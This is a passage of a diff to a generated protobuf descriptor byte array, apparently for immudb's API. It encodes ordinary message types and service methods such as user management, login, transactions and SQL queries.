0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, - 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, - 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, - 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, - 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, - 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, - 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, - 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, - 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, - 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, - 0x65, 0x6c, 0x61, 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x69, 0x6f, 0x64, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, + 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, + 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, + 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, + 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, + 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, + 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, + 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, + 0x61, 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, + 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, 0x65, 0x74, + 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, + 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, - 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, - 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, - 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, - 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, - 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, - 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, - 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, - 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, - 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, - 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, - 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, - 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xb6, 0x34, 0x0a, 0x0b, - 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, - 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, - 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, 0x05, 0x2f, - 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, - 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, - 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, - 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, - 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, - 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, - 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, - 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, 0x01, 0x2a, - 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, - 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, - 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x4a, - 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, - 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, - 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, - 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, + 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, + 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, + 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, + 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, + 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, + 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, + 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, + 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, + 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, + 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, + 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xb6, 0x34, 0x0a, 0x0b, 0x49, 0x6d, + 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, + 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, + 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, + 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, + 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, + 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, + 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, - 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, - 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, - 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, - 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, - 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, - 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, - 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, - 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, - 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, - 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, + 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, + 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, + 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, + 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 